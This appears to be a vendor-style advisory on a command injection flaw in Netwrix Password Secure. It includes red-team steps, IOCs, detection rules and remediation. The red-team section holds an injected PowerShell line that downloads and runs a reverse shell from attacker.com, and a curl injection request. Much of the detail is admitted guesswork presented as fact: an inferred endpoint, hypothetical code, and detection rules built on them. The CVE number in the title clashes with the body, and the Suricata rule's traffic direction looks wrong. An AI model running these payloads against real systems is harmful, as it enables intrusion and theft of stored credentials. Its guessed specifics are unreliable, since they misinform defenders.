CVE-2025-26818

Executive Summary

CVE-2025-26817 is a command injection vulnerability in Netwrix Password Secure, affecting versions up to and including 9.2. This flaw allows an authenticated or unauthenticated attacker (depending on the attack vector) to inject arbitrary operating system commands into the application, leading to full system compromise. The vulnerability exists due to insufficient sanitization of user-supplied input that is passed to a system shell. Given the critical nature of password management software, exploitation could result in the exposure of all stored credentials, lateral movement within the network, and persistent backdoor access. No public proof-of-concept (PoC) or patch is currently available, making this a high-priority zero-day for organizations using the affected software.

CVSS Breakdown & Threat Level

While an official CVSS vector is not provided, based on the nature of command injection in a network-accessible password management application, the following assessment is made:

• Attack Vector (AV): Network (N) – The vulnerability is likely exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) or None (N) – Depending on the specific endpoint, authentication may or may not be required.
• User Interaction (UI): None (N) – No user action is needed.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): High (H) – Full system read access.
• Integrity (I): High (H) – Full system write access.
• Availability (A): High (H) – Full system control.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The combination of remote exploitability, low complexity, and the sensitive nature of the target (password vault) makes this a severe threat.

Deep Dive & Mechanics

The vulnerability resides in how Netwrix Password Secure processes user input before executing system commands. The application likely uses a function that constructs a command string by concatenating user-controlled parameters with fixed command templates. For example, a feature that resets a user password or synchronizes with Active Directory might pass a username or domain controller name directly to a shell command like cmd.exe /c net user %username% * /domain.

An attacker can inject command separators (e.g., ;, |, &, `) or newline characters to break out of the intended command and execute arbitrary OS commands. The injected commands run with the privileges of the application service account, which is often configured with high-level domain or local system rights.

Attack Flow:

1. Reconnaissance: The attacker identifies a Netwrix Password Secure instance (e.g., via Shodan or internal scanning).
2. Input Injection: The attacker sends a crafted HTTP request to a vulnerable endpoint (e.g., password reset, user management, or configuration API) containing a malicious payload.
3. Command Execution: The application passes the unsanitized input to a shell, executing the attacker's commands.
4. Persistence & Exfiltration: The attacker uses the shell to install a web shell, dump the password database, create backdoor accounts, or move laterally.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described generically.

Vulnerable Code (C#/PowerShell example):

string username = Request.Form["username"];
string command = $"cmd.exe /c net user {username} /domain";
Process.Start("cmd.exe", $"/c {command}");

Patched Code (Hypothetical):

string username = Request.Form["username"];
// Validate and sanitize input
if (!Regex.IsMatch(username, @"^[a-zA-Z0-9_]+$"))
{
    throw new ArgumentException("Invalid username");
}
// Use a secure API that does not invoke a shell
Process.Start("net", $"user {username} /domain");

The key difference is the use of input validation (allowlisting) and avoiding shell invocation by using direct process execution with argument arrays.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: Netwrix Password Secure 9.2 (Windows Server 2019)
• Attacker: Kali Linux

Exploitation Steps:

1. Identify Vulnerable Endpoint: Use Burp Suite or a web proxy to intercept requests. Look for parameters passed to backend commands (e.g., username, domain, server).
2. Craft Payload: Inject a command separator followed by a reverse shell payload.

   username=admin&domain=; powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')"
   

3. Execute: Send the request. The application will execute the PowerShell command, downloading and running a reverse shell.
4. Post-Exploitation: Dump the password database (likely a SQL Server or encrypted file), extract credentials, and pivot.

Example cURL Command:

curl -X POST "https://target.netwrix.local/PasswordReset.aspx" \
  -d "username=admin&domain=; whoami > C:\temp\output.txt"

Blue Team (Defensive)

Detection & Response:

1. Monitor Process Creation: Enable Windows Event Logging for process creation (Event ID 4688). Look for cmd.exe or powershell.exe spawned by the Netwrix application process.
2. Network Monitoring: Detect outbound connections to unknown IPs on non-standard ports (e.g., 4444, 8080) from the Netwrix server.
3. Web Application Firewall (WAF): Deploy rules to block common command injection patterns (e.g., ;, |, &, %0A).
4. Input Validation: Implement strict allowlisting on all user inputs at the application layer.
5. Honeypot: Create a fake endpoint that mimics the vulnerable functionality to trap attackers.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections from the Netwrix server to unknown external IPs on ports 80, 443, 4444, 8080, or 1337.
  • HTTP requests containing shell metacharacters (;, |, &, `) in POST parameters.
• Host IOCs:
  • Unusual processes spawned by w3wp.exe (IIS worker process) or NetwrixPasswordSecure.exe, such as cmd.exe, powershell.exe, net.exe, or whoami.exe.
  • New files in C:\Windows\Temp\ or C:\inetpub\wwwroot\ with suspicious names (e.g., shell.aspx, nc.exe).
  • Scheduled tasks or services created by the application service account.
• Log IOCs:
  • Windows Event ID 4688 with CommandLine containing shell metacharacters.
  • IIS logs showing POST requests to /PasswordReset.aspx or similar endpoints with abnormal parameter values.

Detection Engineering

YARA Rule

rule CVE_2025_26817_Netwrix_Command_Injection {
    meta:
        description = "Detects command injection attempts against Netwrix Password Secure"
        author = "Valters IT"
        date = "2025-03-01"
        reference = "CVE-2025-26817"
    strings:
        $cmd1 = /(;|\||&|`|\$\(|\$\(\(|\%0A|\%0D).{0,100}(cmd|powershell|wmic|net\s)/i
        $cmd2 = /(username|domain|server)=.{0,50}(;|\||&|`)/i
    condition:
        any of them
}

Sigma Rule

title: Netwrix Password Secure Command Injection Attempt
id: 7a8b3c2d-1e5f-4a0b-9c8d-7e6f5a4b3c2d
status: experimental
description: Detects HTTP requests with command injection patterns targeting Netwrix Password Secure
author: Valters IT
date: 2025/03/01
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '*/PasswordReset.aspx'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '&'
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of special characters in passwords (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-26817 Netwrix Password Secure Command Injection"; flow:to_server,established; content:"POST"; http_method; content:"/PasswordReset.aspx"; http_uri; pcre:"/(;|\||&|`|\$\(|\$\(\(|\%0A|\%0D)/Pi"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the System: Disconnect the Netwrix Password Secure server from the network if possible.
2. Apply Virtual Patching: Use a WAF to block requests containing shell metacharacters in POST parameters.
3. Review Access Logs: Investigate for signs of exploitation (unusual commands, outbound connections).

Long-Term Fixes:

1. Vendor Patch: Monitor Netwrix for an official patch. Apply as soon as available.
2. Code Hardening: If source code is available, implement input validation (allowlisting) and avoid shell invocation.
3. Least Privilege: Run the application service with minimal required permissions.
4. Network Segmentation: Place the password management server in a restricted VLAN with strict egress filtering.

Workaround:

• Disable the vulnerable functionality (e.g., password reset via web interface) until a patch is applied.

Valters IT